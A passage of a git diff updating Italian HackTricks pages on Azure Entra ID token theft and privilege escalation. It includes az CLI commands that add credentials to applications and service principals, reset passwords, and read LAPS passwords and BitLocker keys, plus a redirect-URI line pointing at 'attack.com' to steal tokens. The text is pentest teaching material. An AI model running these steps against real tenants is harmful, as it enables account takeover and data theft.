- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni sull'account criptate con il DPAPI dell'utente.
|
||||
- È possibile trovare altri **access tokens** nei file `.tbres` dentro **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono un base64 criptato con DPAPI con access tokens.
|
||||
- In Linux e macOS puoi ottenere **access tokens, refresh tokens and id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
|
||||
- Per caricarlo: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** contiene informazioni sui login precedenti usando Az PowerShell (ma senza credenziali)
|
||||
- All'interno di **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni dell'account criptate con il DPAPI dell'utente.
|
||||
- È possibile trovare altri **access tokens** nei file `.tbres` all'interno di **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono una base64 criptata con DPAPI contenente access tokens.
|
||||
- In Linux e macOS puoi ottenere **access tokens, refresh tokens e id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
|
||||
- In Windows questo genera solo id tokens.
|
||||
- È possibile verificare se Az PowerShell è stato usato in Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
|
||||
- Se l'utente è **logged inside Azure with the browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flusso di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono poche applicazioni FOCI che permettono il redirect a localhost (come az cli o il powershell module), quindi queste applicazioni devono essere consentite.
|
||||
- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché **otterrà l'OAuth code per poi ottenere un refresh token dal titolo della pagina di auth finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
- È possibile verificare se Az PowerShell è stato usato su Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
|
||||
- Se l'utente è **loggato in Azure tramite il browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flow di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono solo poche applicazioni FOCI che permettono il redirect to localhost (come az cli o il modulo powershell), quindi queste applicazioni devono essere permesse.
|
||||
- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché otterrà **il codice OAuth per poi ottenere un refresh token dal titolo della pagina di autenticazione finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+149
-44
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate in ruoli personalizzati.**
|
||||
> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.**
|
||||
|
||||
## Ruoli
|
||||
|
||||
### Ruolo: Amministratore dei Ruoli Privilegiati <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Ruolo: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principi e per dare più autorizzazioni ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
|
||||
Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi.
|
||||
|
||||
- Assegna ruolo a un utente:
|
||||
- Assegnare un ruolo a un utente:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Aggiungi più permessi a un ruolo:
|
||||
- Aggiungere più permessi a un ruolo:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) a applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere quei privilegi.
|
||||
Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Questo consente le stesse azioni di `applications/credentials/update`, ma limitate ad applicazioni a directory singola.
|
||||
Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Aggiungendosi come proprietario, un attaccante può manipolare l'applicazione, comprese le credenziali e i permessi.
|
||||
Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che utilizzano il nuovo URL di reindirizzamento per rubare i loro token. Si noti che se l'utente era già connesso all'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
|
||||
Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla.
|
||||
|
||||
Si noti che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più autorizzazioni, ma in questo caso l'utente dovrà accettare nuovamente il prompt che chiede tutte le autorizzazioni.
|
||||
Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**.
|
||||
|
||||
Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede.
|
||||
|
||||
Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Questo consente a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
|
||||
Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> La nuova password generata non apparirà nella console web, quindi questo potrebbe essere un modo furtivo per mantenere la persistenza su un service principal.\
|
||||
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\
|
||||
> Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarla. Per farlo hai bisogno di un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
|
||||
Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Questo consente a un attaccante di aggiungere credenziali a service principal esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
|
||||
Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e i permessi.
|
||||
Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Dopo aver aggiunto un nuovo proprietario, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare il proprietario. Quindi **non puoi rimuovere i proprietari al giorno d'oggi**.
|
||||
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` e `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Queste autorizzazioni consentono di disabilitare e abilitare i service principal. Un attaccante potrebbe utilizzare questa autorizzazione per abilitare un service principal a cui potrebbe accedere in qualche modo per escalare i privilegi.
|
||||
Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges.
|
||||
|
||||
Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori autorizzazioni per prendere il controllo del service principal abilitato.
|
||||
Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Queste autorizzazioni consentono di creare e ottenere credenziali per il single sign-on che potrebbero consentire l'accesso a applicazioni di terze parti.
|
||||
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,44 +277,36 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Applicazioni Privilege Escalation
|
||||
|
||||
**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un'API Permission (come chiamata nella console di Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API senza un contesto utente (senza un accesso utente all'app), e senza necessitare di ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **applicazioni ad alta privilegio in ogni tenant di Entra ID**.
|
||||
|
||||
Quindi, se un attaccante ha qualche permesso/ruolo che consente di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, guadagnando tutti i permessi che l'applicazione ha.
|
||||
|
||||
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni predefinite di Microsoft, tuttavia, qualche tempo dopo questo rapporto Microsoft ha risolto questo problema e ora non è più possibile accedere come applicazioni Microsoft. Tuttavia, è ancora possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
|
||||
|
||||
---
|
||||
|
||||
## Gruppi
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Questo permesso consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation di privilegi.
|
||||
Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
|
||||
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Questo permesso consente di diventare un proprietario di gruppi. Un proprietario di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente aumentando i privilegi nel gruppo.
|
||||
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
|
||||
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Questo permesso consente di aggiungere membri a un gruppo. Un attaccante potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, concedendo accesso elevato.
|
||||
Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Questo permesso consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attaccante potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
|
||||
Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -214,9 +319,9 @@ az rest --method PATCH \
|
||||
```
|
||||
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
|
||||
|
||||
### Privesc dei Gruppi Dinamici
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di gruppi dinamici. Per ulteriori informazioni controlla:
|
||||
Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Questo permesso consente di reimpostare la password per utenti non amministratori, permettendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questo permesso non può essere assegnato a ruoli personalizzati.
|
||||
Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà, pertanto, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un gruppo dinamico specifico e ottenere privilegi elevati.
|
||||
Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Politiche di Accesso Condizionale e bypass MFA
|
||||
## Policy di Accesso Condizionale & bypass MFA
|
||||
|
||||
Le politiche di accesso condizionale mal configurate che richiedono MFA possono essere eluse, controlla:
|
||||
Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Questa autorizzazione consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
|
||||
Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Questo permesso consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o per eludere le politiche di sicurezza.
|
||||
Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Questa autorizzazione consente agli attaccanti di leggere le proprietà delle credenziali dell'account amministratore locale di backup per i dispositivi uniti a Microsoft Entra, inclusa la password.
|
||||
Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Questo permesso consente di accedere alle chiavi di BitLocker, il che potrebbe consentire a un attaccante di decrittografare i dischi, compromettendo la riservatezza dei dati.
|
||||
Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
## Basic Information
|
||||
|
||||
Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per identity and access management. È fondamentale per permettere agli utenti di effettuare sign in e ottenere accesso a risorse sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, the Azure portal e molte altre applicazioni SaaS. La progettazione di Azure AD si concentra nel fornire servizi di identità essenziali, includendo in particolare **authentication, authorization, and user management**.
|
||||
Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti.
|
||||
|
||||
Le funzionalità chiave di Azure AD comprendono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri Microsoft security services. Queste funzionalità aumentano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare e far rispettare efficacemente le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità utente.
|
||||
Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti.
|
||||
|
||||
## Enumerazione
|
||||
## Enumeration
|
||||
|
||||
### **Connessione**
|
||||
### **Connection**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Quando ti **login** tramite **CLI** su Azure con qualsiasi programma, stai usando una **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **liste di applicazioni consentite** visibili nella console, **ma sono consentite di default**.
|
||||
Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**.
|
||||
|
||||
